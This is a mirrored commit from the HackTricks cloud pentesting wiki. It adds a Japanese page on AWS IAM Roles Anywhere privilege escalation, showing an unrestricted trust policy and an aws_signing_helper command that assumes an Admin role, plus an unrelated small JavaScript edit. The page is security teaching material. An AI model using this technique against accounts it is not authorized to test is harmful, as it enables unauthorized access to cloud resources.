mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 14:50:51 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,42 @@
|
||||
# AWS - IAM Roles Anywhere Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
AWS IAM RolesAnywhereは、AWS外のワークロードがX.509証明書を使用してIAMロールを引き受けることを可能にします。しかし、信頼ポリシーが適切にスコープされていない場合、特権昇格に悪用される可能性があります。
|
||||
|
||||
このポリシーは、どの信頼アンカーまたは証明書属性が許可されるかに制限がありません。その結果、アカウント内の任意の信頼アンカーに結びつけられた任意の証明書を使用して、このロールを引き受けることができます。
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
特権昇格のために、`aws_signing_helper`が必要です https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
|
||||
|
||||
その後、有効な証明書を使用して、攻撃者はより高い特権のロールにピボットできます。
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### 参考文献
|
||||
|
||||
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -226,7 +226,7 @@
|
||||
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
|
||||
} catch (e) {
|
||||
console.error("Error creating threadId:", e);
|
||||
alert("Failed to initialise the conversation. Please refresh.");
|
||||
console.log("Failed to initialise the conversation. Please refresh.");
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user